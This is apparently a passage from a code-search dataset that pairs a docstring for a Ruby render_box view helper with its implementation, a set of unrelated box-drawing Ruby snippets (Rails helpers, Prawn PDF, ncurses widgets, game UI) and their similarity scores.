"def box_widget(title, options = {}, extra = [], &block)\n block_to_partial('shared/box_widget', options.merge(:title => title, :extra => extra), &block)\n end",
"def index\n @user = current_user\n if params[ :search ] && (params[ :search ].length > 0) then\n @parts = search( Part, params[ :search ], ['own_id', 'third_id', 'desc'] )\n @part_insts = nil\n @parts.each do |part|\n pis = PartInst.where( part_id: part.id )\n if ( @part_insts ) then\n @part_insts = @part_insts + pis\n else\n @part_insts = pis\n end\n end\n @paginate = false\n else\n @part_insts = PartInst.paginate( page: params[ :page ], per_page: 10 )\n @paginate = true\n end\n @boxes = Box.all\n end",
"def print_employee_graphics\n\n # Define boxes.\n boxes = [\n { x: 0.25,\n y: 10.75,\n title: \"Copy B — To Be Filed With Employee's\\nFEDERAL Tax Return.\",\n bottom_left: \"This information is being furnished to the Internal Revenue Service.\",\n bottom_left_offset: 0.1,\n bottom_left_height: 0.125,\n bottom_right: \"<em>www.irs.gov/efile</em>\",\n bottom_right_offset: 0.025 },\n { x: 4.5,\n y: 10.75,\n title: \"Copy 2 — To Be Filed With Employee's State\\nCity, or Local Income Tax Return.\",\n bottom_left: \"\",\n bottom_left_offset: 0,\n bottom_left_height: 0.125,\n bottom_right: \"\",\n bottom_right_offset: 0 },\n { x: 0.25,\n y: 5.25,\n title: \"Copy C — For EMPLOYEE'S RECORDS (See\\n<em>Notice to Employee</em> on the back of Copy B.)\",\n bottom_left: \"This information is being furnished to the IRS. If you are required to file a tax return, a negligence\\npenalty or other sanction may be imposed on you if this income is taxable and you fail to report it.\",\n bottom_left_offset: 0.1,\n bottom_left_height: 0.25,\n bottom_right: \"\",\n bottom_right_offset: 0 },\n { x: 4.5,\n y: 5.25,\n title: \"Copy 2 — To Be Filed With Employee's State\\nCity, or Local Income Tax Return.\",\n bottom_left: \"L4UP\",\n bottom_left_offset: 0.125,\n bottom_left_height: 0.125,\n bottom_right: \"5205\",\n bottom_right_offset: 0 }\n ]\n\n # Draw boxes.\n boxes.each do |box|\n print_employee_graphics_box(box)\n end\n\n end",
"def loadUIElements\n # battle data boxes\n @battle.battlers.each_with_index do |b, i|\n next if !b\n @sprites[\"dataBox_#{i}\"] = DataBoxEBDX.new(b, @msgview, @battle.pbPlayer, self)\n end\n # messageBox (window sprite) drawn dynamically based on screen size\n bmp1 = Bitmap.smartWindow(Rect.new(8, 8, 8, 8), Rect.new(0, 0, @viewport.width - 28, 82), \"Graphics/EBDX/Pictures/UI/skin1\")\n bmp2 = Bitmap.smartWindow(Rect.new(8, 8, 8, 8), Rect.new(0, 0, @viewport.width - 28, 82), \"Graphics/EBDX/Pictures/UI/skin2\")\n @sprites[\"messageBox\"] = Sprite.new(@msgview)\n @sprites[\"messageBox\"].bitmap = Bitmap.new(@viewport.width - 28, 82*2)\n @sprites[\"messageBox\"].bitmap.blt(0, 0, bmp1, bmp1.rect)\n @sprites[\"messageBox\"].bitmap.blt(0, 82, bmp2, bmp2.rect)\n @sprites[\"messageBox\"].x = @viewport.width/2 - @sprites[\"messageBox\"].src_rect.width/2\n @sprites[\"messageBox\"].y = @viewport.height - 106\n @sprites[\"messageBox\"].z = 99999\n @sprites[\"messageBox\"].src_rect.height /= 2\n @sprites[\"messageBox\"].visible = false\n # help window for other scenes\n @sprites[\"helpwindow\"] = Window_UnformattedTextPokemon.newWithSize(\"\", 0, 0, 32, 32, @msgview)\n @sprites[\"helpwindow\"].visible = false\n @sprites[\"helpwindow\"].z = @sprites[\"messageBox\"].z + 1\n # message window (where the actual text is rendered\n @sprites[\"messageWindow\"] = Window_AdvancedTextPokemon.new(\"\")\n @sprites[\"messageWindow\"].letterbyletter = true\n @sprites[\"messageWindow\"].cursorMode = 2\n @sprites[\"messageWindow\"].battlePause\n @sprites[\"messageWindow\"].viewport = @msgview\n @sprites[\"messageWindow\"].z = @sprites[\"messageBox\"].z + 1\n # old command elements\n @sprites[\"commandWindow\"] = CommandMenuDisplay.new(@msgview, 0) # Retained for compatibility\n @sprites[\"commandWindow\"].visible = false # Retained for compatibility\n @sprites[\"fightWindow\"] = FightMenuDisplay.new(@msgview, 0) # Retained for compatibility\n @sprites[\"fightWindow\"].visible = false # Retained for compatibility\n # new command and fight menu UI\n @commandWindow = CommandWindowEBDX.new(@msgview, @battle, self, @safaribattle)\n @fightWindow = FightWindowEBDX.new(@msgview, @battle, self)\n @bagWindow = BagWindowEBDX.new(self, @msgview)\n @playerLineUp = PartyLineupEBDX.new(@viewport, self, @battle, 0)\n @opponentLineUp = PartyLineupEBDX.new(@viewport, self, @battle, 1)\n @targetWindow = TargetWindowEBDX.new(@msgview, @battle, self)\n # hides the new UI\n 8.times do\n @commandWindow.hide\n @fightWindow.hide\n end\n # Compatibility for Effect messages\n bitmap = pbBitmap(\"Graphics/EBDX/Pictures/UI/abilityMessage\")\n @sprites[\"abilityMessage\"] = Sprite.new(@msgview)\n @sprites[\"abilityMessage\"].bitmap = Bitmap.new(bitmap.width, bitmap.height); bitmap.dispose\n pbSetSmallFont(@sprites[\"abilityMessage\"].bitmap)\n @sprites[\"abilityMessage\"].oy = @sprites[\"abilityMessage\"].bitmap.height/2\n @sprites[\"abilityMessage\"].zoom_y = 0\n @sprites[\"abilityMessage\"].z = 99999\n end",
"def form_row(&block)\n @template.concat @template.content_tag(:div, @template.capture(&block), :class => 'box_container')\n end"
] | [
"0.6464205",
"0.5841228",
"0.56698936",
"0.5520285",
"0.55042785",
"0.5450058",
"0.54241514",
"0.52830034",
"0.5258477",
"0.5247274",
"0.5208967",
"0.5190762",
"0.51529074",
"0.514873",
"0.5145886",
"0.5129254",
"0.50793684",
"0.5023993",
"0.50237775",
"0.5003811",
"0.49923488",
"0.49608967",
"0.49581966",
"0.4916547",
"0.49069664",
"0.48998758",
"0.48576194",
"0.48338962",
"0.48202148",
"0.4808811",
"0.4798926",
"0.47950655",
"0.47873852",
"0.47735602",
"0.4772499",
"0.4729065",
"0.47284627",
"0.47062287",
"0.47062287",
"0.4705162",
"0.4684084",
"0.46748918",
"0.4662988",
"0.4659673",
"0.46528143",
"0.46387503",
"0.46358284",
"0.46329907",
"0.46270448",
"0.46056995",
"0.4596046",
"0.45937306",
"0.4579853",
"0.45723245",
"0.45523268",
"0.4545826",
"0.45166183",
"0.45051044",
"0.4472566",
"0.44720012",
"0.4464335",
"0.44639957",
"0.44515222",
"0.44409993",
"0.4437559",
"0.44072112",
"0.43988997",
"0.43944448",
"0.438891",
"0.4375677",
"0.43597752",
"0.4358438",
"0.43465376",
"0.43435666",
"0.43413064",
"0.43408084",
"0.43353146",
"0.43314788",
"0.4319645",
"0.43165004",
"0.43149167",
"0.43132997",
"0.4311019",
"0.4306277",
"0.43016046",
"0.43000096",
"0.42866647",
"0.4285465",
"0.42720172",
"0.4270459",
"0.42625713",
"0.4256755",
"0.4254945",
"0.42464566",
"0.4242111",
"0.42385435",
"0.42361733",
"0.42302832",
"0.42288598",
"0.42288068"
] | 0.81510353 | 0 |
Render a box. options: content (string) heading (string) float_left (true/false) text_align_center (true/false) highlight (true/false) background_image (url) bigfont (true/false) heading_color (color name, e.g. 'red') background_color (color name, e.g. 'blue') inner_div_style (css style, e.g. "width: 382px; height: 281px;") outer_div_style (same) heading_style (same) height (css style unit, e.g. "100px" or "6em") solid_background (true/false) You can wrap an tag around the box and it will have a:hover CSS enabled, e.g. link_to " do = render_box do "bar" | def render_box(options = {})
# list of classes for the outer div.
outer_div_classes = [ "textbox_container" ]
# inner div, same story
inner_div_classes = [ "textbox" ]
# heading
heading_classes = [ "heading" ]
content = yield if block_given?
content ||= options[:content]
return nil if content.blank? && options[:heading].blank? unless options[:empty]
# Options:
# float_left
outer_div_classes.push("float_left") if options[:float_left] === true
# text_align_center
inner_div_classes.push("text_align_center") if options[:text_align_center] === true
# highlight
inner_div_classes.push("highlight") if options[:highlight] === true
# background_image
background_image = options[:background_image]
# header color
heading_color = options[:heading_color]
inner_div_classes.push("textbox_#{heading_color}") unless heading_color.blank?
# background color
background_color = options[:background_color]
############################################################################
# inner div
############################################################################
inner_div_classes.push("#{background_color}_background") unless background_color.blank?
inner_div_options = { :class => c(inner_div_classes) }
inner_div_styles = []
unless background_image.blank?
# opacity:0.4;filter:alpha(opacity=40);
inner_div_styles.push "background: url(#{background_image}) no-repeat center;"
end
unless options[:height].blank?
inner_div_styles.push "height: #{options[:height]}"
end
unless options[:width].blank?
inner_div_styles.push "width: #{options[:width]}"
end
unless inner_div_styles.blank?
inner_div_options[:style] = c(inner_div_styles)
end
inner_div_options[:style] ||= options[:inner_div_style] # can be overridden
############################################################################
# outer div
############################################################################
outer_div_options = { :class => c(outer_div_classes) }
outer_div_options[:style] = options[:outer_div_style]
############################################################################
# text div
############################################################################
text_div_options = {}
text_div_classes = []
text_div_classes.push "bigfont" if options[:bigfont] === true
text_div_classes.push "solid_background" if options[:solid_background] === true
text_div_options[:class] = c(text_div_classes)
############################################################################
# go render
############################################################################
# let's go, outer div
content_tag :div, outer_div_options do
content_tag :div, inner_div_options do
# heading
heading = ""
heading = content_tag :p, options[:heading], :class => c(heading_classes), :style => options[:heading_style] unless options[:heading].blank?
# text div
content_tag_ = content_tag :div, text_div_options do
content_tag :p, content, :class => "inner_p"
end
# do it!
heading + content_tag_
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def prettybox(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_top\\\">\n <div> </div>\n </div><div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def box(name, options={}, &block)\n options.merge!(:body=>capture(&block))\n concat(render(:partial => \"shared/ubiquo/boxes/#{name}\", :locals => options), block.binding)\n end",
"def box(title=nil, options={}, &block)\n title = I18n.t(\"admin.boxs.#{title}\", :default => title.to_s.humanize) if title.is_a?(Symbol)\n subtitle = options.delete(:subtitle)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat_content (<<-HTML).gsub(/ {10}/, '')\n <div class=\"#{options[:class]}\" style=\"options[:style]\">\n <div class=\"x-box\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Admin.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" if title.present?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" if subtitle.present?}\n #{\"<br class=\\\"clear\\\" />\" if title.present? || subtitle.present?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if title.present? || subtitle.present?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if title.present? || subtitle.present?}\n #{capture_html(&block)}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def prettybox_bottomonly(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def roundedbox(html_options = {}, &block)\n html_options[:class] = ['box', html_options[:class]].compact.join(' ')\n concat <<-MARKUP\n <div #{tag_options(html_options)}>\n <div class=\"boxtop\"><div> </div></div>\n <div class=\"boxcontent\">#{capture(&block)}</div>\n <div class=\"boxbottom\"><div> </div></div>\n </div>\n MARKUP\n end",
"def box(title=nil, subtitle=nil, options={}, &block)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat <<-HTML\n <div class=\"x-box\" style=\"#{options[:style]}\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Backend.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" unless title.blank?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" unless subtitle.blank?}\n #{\"<br class=\\\"clear\\\" />\" if !title.blank? || !subtitle.blank?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if !title.blank? || !subtitle.blank?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if !title.blank? || !subtitle.blank?}\n #{capture(&block)}\n #{\"<div style=\\\"text-align:right;margin-top:10px\\\">#{submit_tag(I18n.t(\"lipsiadmin.buttons.save\"), :onclick=>\"Backend.app.submitForm()\")}</div>\" if options[:submit]}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def render_boxes(array = [], options = {})\n boxes = \"\"\n\n template = {}\n\n if options[:template].class.to_s.eql?(\"Hash\")\n template = options[:template]\n end\n\n array.each do |individual_options|\n box_options = template\n box_options = template.merge(individual_options) unless individual_options.nil?\n r = render_box(box_options)\n\n unless individual_options[:link].blank?\n r = \"<a href='#{individual_options[:link]}' target='#{individual_options[:link_target]}' class='no_underline render_boxes'>#{r}</a>\"\n end\n\n boxes += r unless r.blank?\n end\n\n boxes_div = content_tag :div, boxes, :class => \"textboxes\", :style => options[:textboxes_style]\n\n clear_both_ = \"\"\n\n unless options[:noclear] === true\n clear_both_ = clear_both\n end\n\n boxes_div + clear_both_\n end",
"def box_widget(title, options = {}, extra = [], &block)\n block_to_partial('shared/box_widget', options.merge(:title => title, :extra => extra), &block)\n end",
"def div(options = {})\r\n attributes = \"id=\\\"#{@container}\\\" \"\r\n if options.has_key?(:height) && options.has_key?(:width)\r\n attributes += \"style=\\\"width:#{options.delete(:width)}px;height:#{options.delete(:height)}px\\\" \"\r\n end\r\n if options.has_key?(:class)\r\n attributes += options.keys.map {|opt| \"#{opt}=\\\"#{options[opt]}\\\"\" }.join(\" \")\r\n end\r\n \"<div #{attributes}></div>\"\r\n end",
"def box(body)\n formatted_box(body, :blue, \"ℹ\", \"\")\nend",
"def box config={}, &block\n require 'canis/core/widgets/box'\n # take current stacks row and col\n # advance row by one and col by one\n # at end note row and advance by one\n # draw a box around using these coordinates. width should be\n # provided unless we have item width or something.\n last = @_ws_active.last\n if last\n r = last[:row]\n c = last[:col]\n config[:row] = r\n config[:col] = c\n last[:row] += config[:margin_top] || 1\n last[:col] += config[:margin_left] || 1\n _box = Box.new @form, config # needs to be created first or will overwrite area after others painted\n yield_or_eval &block if block_given?\n h = config[:height] || last[:height] || (last[:row] - r)\n h = 2 if h < 2\n w = config[:width] || last[:width] || 15 # tmp\n case last\n when WsFlow\n w = last[:col]\n when WsStack\n #h += 1\n end\n config[:row] = r\n config[:col] = c\n config[:height] = h\n config[:width] = w\n _box.row r\n _box.col c\n _box.height h\n _box.width w\n last[:row] += 1\n last[:col] += 1 # ??? XXX if flow we need to increment properly or not ?\n end\n end",
"def ebox(text:, x_pos:, y_pos:, width:, height:, title: '')\n puts %(\n <rect\n x=\"#{x_pos}\" y=\"#{y_pos}\" width=\"#{width}\" height=\"#{height}\"\n style=\"fill: #{color text}; stroke: black;\">\n <title>#{title}</title>\n </rect>\n )\nend",
"def box config={}, &block\n require 'canis/core/widgets/box'\n # take current stacks row and col\n # advance row by one and col by one\n # at end note row and advance by one\n # draw a box around using these coordinates. width should be\n # provided unless we have item width or something.\n @_ws_active ||= []\n last = @_ws_active.last\n if last\n r = last[:row]\n c = last[:col]\n config[:row] = r\n config[:col] = c\n last[:row] += config[:margin_top] || 1\n last[:col] += config[:margin_left] || 1\n _box = Box.new @form, config # needs to be created first or will overwrite area after others painted\n yield_or_eval &block if block_given?\n # FIXME last[height] needs to account for row\n h = config[:height] || last[:height] || (last[:row] - r)\n h = 2 if h < 2\n w = config[:width] || last[:width] || 15 # tmp\n case last\n when WsFlow\n w = last[:col]\n when WsStack\n #h += 1\n end\n config[:row] = r\n config[:col] = c\n config[:height] = h\n config[:width] = w\n _box.row r\n _box.col c\n _box.height h\n _box.width w\n last[:row] += 1\n last[:col] += 1 # ??? XXX if flow we need to increment properly or not ?\n end\n end",
"def render(_options = {})\n content_tag :div, class: css_name do\n content_text = data['text'] || ''\n CommonMarker::Rouge.render_html(\n content_text,\n %i[UNSAFE FOOTNOTES STRIKETHROUGH_DOUBLE_TILDE],\n %i[UNSAFE GITHUB_PRE_LANG HARDBREAKS TABLE_PREFER_STYLE_ATTRIBUTES FULL_INFO_STRING FOOTNOTES],\n %i[table strikethrough tasklist tagfilter],\n formatter: Rouge::Formatters::HTMLLegacy.new(inline_theme: 'github')\n ).html_safe\n end\n end",
"def treatment_box\n box = TTY::Box.frame(width: 165, height: 5, align: :center) do\n \"Full List of Treatments\".green\n end\n puts box\nend",
"def draw_box(x, y, w, h, options = {})\n options[:border] ||= 1\n options[:border_color] ||= RFPDF::COLOR_PALETTE[:black]\n options[:border_width] ||= 0.5\n options[:fill] ||= 1\n options[:fill_color] ||= RFPDF::COLOR_PALETTE[:white]\n options[:fill_colorspace] ||= :rgb\n SetLineWidth(options[:border_width])\n set_draw_color_a(options[:border_color])\n set_fill_color_a(options[:fill_color], options[:fill_colorspace])\n fd = \"\"\n fd = \"D\" if options[:border] == 1\n fd += \"F\" if options[:fill] == 1\n Rect(x, y, w, h, fd)\n end",
"def content_box # :doc:\n \[email protected](:class => \"content-box\")\n end",
"def rounded_titled_box(title, type, options = {}, &block)\n block_to_partial('shared/rounded_titled_box', options.merge(:title => title, :type => type), &block)\n end",
"def draw(box)\n battr = 0\n bchar = 0\n fattr = @filler & Ncurses::A_ATTRIBUTES\n hist_x = @title_lines + 1\n hist_y = @bar_size\n\n @win.werase\n\n # Box the widget if asked.\n if box\n Draw.drawObjBox(@win, self)\n end\n\n # Do we have a shadow to draw?\n if !(@shadow.nil?)\n Draw.drawShadow(@shadow_win)\n end\n\n self.drawTitle(@win)\n\n # If the user asked for labels, draw them in.\n if @view_type != :NONE\n # Draw in the low label.\n if @low_string.size > 0\n Draw.writeCharAttrib(@win, @lowx, @lowy, @low_string,\n @stats_attr, @orient, 0, @low_string.size)\n end\n\n # Draw in the current value label.\n if @cur_string.size > 0\n Draw.writeCharAttrib(@win, @curx, @cury, @cur_string,\n @stats_attr, @orient, 0, @cur_string.size)\n end\n\n # Draw in the high label.\n if @high_string.size > 0\n Draw.writeCharAttrib(@win, @highx, @highy, @high_string,\n @stats_attr, @orient, 0, @high_string.size)\n end\n end\n\n if @orient == CDK::VERTICAL\n hist_x = @box_height - @bar_size - 1\n hist_y = @field_width\n end\n\n # Draw the histogram bar.\n (hist_x...@box_height - 1).to_a.each do |x|\n (1..hist_y).each do |y|\n battr = @win.mvwinch(x, y)\n \n if battr == ' '.ord\n @win.mvwaddch(x, y, @filler)\n else\n @win.mvwaddch(x, y, battr | fattr)\n end\n end\n end\n\n # Refresh the window\n @win.wrefresh\n end",
"def colored_box(box_text, options={})\n options = { :fill_color => DARK_GRAY,\n :stroke_color => nil,\n :text_color => LIGHT_GRAY,\n :leading => LEADING\n }.merge(options)\n\n \n text_options = { :leading => options[:leading], \n :fallback_fonts => [\"Helvetica\", \"Kai\"]\n }\n\n box_height = height_of_formatted(box_text, text_options)\n\n bounding_box([INNER_MARGIN + RHYTHM, cursor],\n :width => bounds.width - (INNER_MARGIN+RHYTHM)*2) do\n\n fill_color options[:fill_color]\n stroke_color options[:stroke_color] || options[:fill_color]\n fill_and_stroke_rounded_rectangle(\n [bounds.left - RHYTHM, cursor],\n bounds.left + bounds.right + RHYTHM*2,\n box_height + RHYTHM*2,\n 5\n )\n fill_color BLACK\n stroke_color BLACK\n\n pad(RHYTHM) do\n formatted_text(box_text, text_options)\n end\n end\n\n move_down(RHYTHM*2)\n end",
"def box_plot(x: nil, y: nil, color: nil, data: nil,\n order: nil, color_order: nil,\n orient: nil, key_color: nil, palette: nil, saturation: 1r,\n width: 0.8r, dodge: true, flier_size: 5, line_width: nil,\n whisker: 1.5, x_label: nil, y_label: nil, title: nil,\n **options, &block)\n Plotters::BoxPlotter.new(\n data: data,\n variables: { x: x, y: y, color: color },\n order: order,\n color_order: color_order,\n orient: orient,\n key_color: key_color,\n palette: palette,\n saturation: saturation,\n width: width,\n dodge: dodge,\n flier_size: flier_size,\n line_width: line_width,\n whisker: whisker,\n x_label: x_label,\n y_label: y_label,\n title: title,\n **options,\n &block\n )\n end",
"def boxify(page, _site)\n return if page.content.nil?\n\n lang = page['lang'] || 'en'\n\n # Interim solution, fancier box titles\n # rubocop:disable Layout/LineLength\n page.content = page.content.gsub(%r{<(?<boxclass>#{Gtn::Boxify.box_classes})-title( ?(?<noprefix>noprefix))>(?<title>.*?)</\\s*\\k<boxclass>-title\\s*>}) do\n # rubocop:enable Layout/LineLength\n m = ::Regexp.last_match\n box_type = m[:boxclass]\n title = m[:title]\n noprefix = m[:noprefix]\n if page.data['citation_target'] == 'jupyter'\n title = Gtn::Boxify.safe_title(title)\n title = Gtn::Boxify.format_box_title(title, box_type, lang, noprefix: noprefix)\n icon = Gtn::Boxify.get_icon(box_type, emoji: true)\n box = \"<div class=\\\"box-title\\\" aria-description=\\\"#{box_type} box: \" \\\n \"#{title}\\\" style=\\\"font-size: 150%\\\">#{icon} #{title}</div>\"\n box.gsub!(/\\\\"/, '"')\n box.gsub!(/([^\\\\])\"/, '\\1\\\\\"')\n else\n _, box = Gtn::Boxify.generate_title(box_type, title, lang, page.path, noprefix: noprefix)\n end\n\n box\n end\n\n # Long term solution, proper new boxes\n # BUT: does not work with <details></details> that are actual HTML elements, so we'll need to rename those.\n # page.content = page.content.gsub(/<(#{Gtn::Boxify.box_classes})>/) {\n # box_type = $1\n # box = Gtn::Boxify.generate_box(box_type, nil, lang, page.path)\n # box\n # }\n\n # page.content = page.content.gsub(/<(#{Gtn::Boxify.box_classes}) title=\"([^\"]*)\">/) {\n # box_type = $1\n # title = $2\n # box = Gtn::Boxify.generate_box(box_type, title, lang, page.path)\n # box\n # }\n\n # page.content = page.content.gsub(/<\\/\\s*(#{Gtn::Boxify::box_classes})\\s*>/) {\n # box_type = $1\n # \"\\n</div></div><!--#{box_type}-->\"\n # }\n end",
"def add_box(window, id, x, y, width, height, **args)\n window_exist?(window)\n box = Box.new(\n self,\n find_window(window),\n id,\n x,\n y,\n width,\n height,\n **args\n )\n @windows[window].add_widget(id, box)\n end",
"def box(position, width, height, options = {})\n size = build_size_options(position, width, height)\n box = bounding_box(position, size) do\n padding(options[:padding] || [0, 0, 0, 0]) { yield if block_given? }\n end\n @last_created_box = box unless options[:dont_track]\n box\n end",
"def body content = nil, options = nil, html_options = nil, &block\n @body = Component.new content, options, html_options, &block\n end",
"def render_object(object, direction = nil)\n flow top: (object.y+1)*n, left: object.x*n, width: n, height: n do\n image = image_for_object object, direction\n style background: image if image\n end.tap do |element|\n @elements[object] = element\n end",
"def draw_box(x, y, width, height, color, z = 0.0)\n draw_line(x, y, color, x + width, y, color, z)\n draw_line(x + width, y, color, x + width, y + height, color, z)\n draw_line(x, y, color, x, y + height, color, z)\n draw_line(x, y + height, color, x + width, y + height, color, z)\n end",
"def rounded_box(css_class, options = {}, &block)\n block_to_partial('shared/rounded_box', options.merge(:css_class => css_class), &block)\n end",
"def alert_box(heading, content, html_options = {})\n html_options = html_options.stringify_keys\n html_options['class'] = \"alert_box #{html_options['class']}\"\n content_tag(:div, html_options) do\n content_tag(:div) do\n content_tag(:p, heading, class: 'alert_box_heading') << content\n end\n end\n end",
"def draw(box)\n # Draw the shadow.\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Box the widget if asked.\n if box\n Draw.drawObjBox(@win, self)\n end\n\n self.drawTitle(@win)\n\n # Draw the label.\n unless @label_win.nil?\n Draw.writeChtype(@label_win, 0, 0, @label, CDK::HORIZONTAL,\n 0, @label_len)\n @label_win.wrefresh\n end\n @win.wrefresh\n\n # Draw the field window.\n self.drawField\n end",
"def rounded_box(options = {}, &block)\n block_to_partial('shared/rounded_box', options, &block)\n end",
"def create_text_object(obj)\n return content_tag(:div, content_tag(:p, obj.textobject), :class => Pageobject::COLOR[obj.color], :style => \"position:absolute; \n top: #{obj.y}px; left: #{obj.x}px;\")\n end",
"def box!(banner = nill)\n\n theEdge = self.genBar('=')\n theEdge.lPad!('+')\n theEdge.rPad!('==+')\n self.lPad!('| ')\n self.rPad!(' |')\n\n theBox = TextRect.new(banner)\n theBox.below!(theEdge)\n theBox.below!(self)\n @theLines = theBox.lines\n return self.below!(theEdge)\n\n end",
"def print_in_box(text)\n length = text.size\n horizontal_border = \"+-\" + (\"-\" * length) + \"-+\"\n empty_border = \"| \" + (\" \" * length) + \" |\"\n content = \"| #{text} |\"\n \n puts horizontal_border\n puts empty_border\n puts content\n puts empty_border\n puts horizontal_border\nend",
"def content\n # the header above this box contains the logo and the word statement\n # this bounding box contains the compny name and the statement info\n section_bottom = bounds.top #initialize section_bottom\n bounding_box [bounds.left, bounds.top], :width => bounds.width do\n stroke_horizontal_rule\n leftbox = bounding_box [bounds.left, bounds.top - 5], :width => bounds.width / 2 do\n get_provider_name\n #get_company_name #company name\n end\n rightbox = bounding_box [bounds.width / 2, bounds.top - 5], :width => bounds.width / 2 do\n get_statement_information #statment information\n end\n end\n move_down 70\n # this bounding box contains the bill to address and any comments\n bounding_box [bounds.left, cursor], :width => bounds.width do\n stroke_horizontal_rule\n bounding_box [bounds.left, bounds.top - 10], :width => bounds.width / 2 do\n get_bill_to_address # bill to address\n end\n bounding_box [bounds.width / 2, bounds.top - 10], :width => bounds.width / 2 do\n get_comments # comments\n end\n end\n # details balance billing section\n move_down 60\n stroke_horizontal_rule\n get_details\n get_detail_summary\n get_remittance\n end",
"def json_div(options = nil)\n content_tag('div', '', options)\n end",
"def json_div(options = nil)\n content_tag('div', '', options)\n end",
"def draw(box)\n # Is there a shadow?\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Box the widget if asked.\n if @box\n Draw.drawObjBox(@win, self)\n end\n self.drawText\n @win.wrefresh\n end",
"def prettybox_toponly(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_top\\\">\n <div> </div>\n </div><div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div>\n </div>\", proc.binding)\n end",
"def print_in_box(text)\n width = text.size\n result = <<EOS\n+-#{'-' * width}-+\n| #{' ' * width} |\n| #{text} |\n| #{' ' * width} |\n+-#{'-' * width}-+\nEOS\n result\nend",
"def vms_text_box(text, x, y, width, height, size = 10, style = :normal, align = :center, valign = :center, font_family = nil, font_color = nil)\n font_family = @standard_font if font_family.nil?\n font_color = @standard_color if font_color.nil?\n font(font_family,\n style: style)\n font_size(size)\n fill_color(font_color)\n text_box(text,\n at: [x.in, y.in],\n width: width.in,\n height: height.in,\n align: align,\n valign: valign,\n inline_format: true,\n overflow: :shrink_to_fit)\n end",
"def display_as_html(content, &block)\n content = content.presence || \"\"\n if content !~ /<\\w+[^>]>/\n content = content.gsub(\"\\n\", \"<br />\")\n end\n content_tag :div, :class => \"rtf\" do\n if block_given?\n concat(capture(&block))\n end\n concat(content.html_safe)\n end\n end",
"def display_as_html(content, &block)\n content = content.presence || \"\"\n if content !~ /<\\w+[^>]>/\n content = content.gsub(\"\\n\", \"<br />\")\n end\n content_tag :div, :class => \"rtf\" do\n if block_given?\n concat(capture(&block))\n end\n concat(content.html_safe)\n end\n end",
"def tag(tag, content = nil, attributes = nil)\n if block_given?\n attributes = content.nil? ? '' : ' ' + content.map { |(key, value)| \"#{key}=\\\"#{value}\\\"\" }.join(' ')\n content_string = ''\n content = yield(content_string)\n content = content_string unless content_string.empty?\n \"<#{tag}#{attributes}>#{content}</#{tag}>\"\n else\n attributes = attributes.nil? ? '' : ' ' + attributes.map { |(key, value)| \"#{key}=\\\"#{value}\\\"\" }.join(' ')\n if content.nil?\n \"<#{tag}#{attributes} />\"\n else\n if content.class == Float\n \"<#{tag}#{attributes}><div class='color_bar' style=\\\"width:#{(content*200).floor}px;\\\"/></#{tag}>\"\n else\n \"<#{tag}#{attributes}>#{content}</#{tag}>\"\n end\n end\n end\n end",
"def draw_box(x, y, width, height, colour, z_order = 0.0)\n self.draw_line(x, y, colour, x + width, y, colour, z_order)\n self.draw_line(x + width, y, colour, x + width, y + height, colour, z_order)\n self.draw_line(x, y, colour, x, y + height, colour, z_order)\n self.draw_line(x, y + height, colour, x + width, y + height, colour, z_order)\n end",
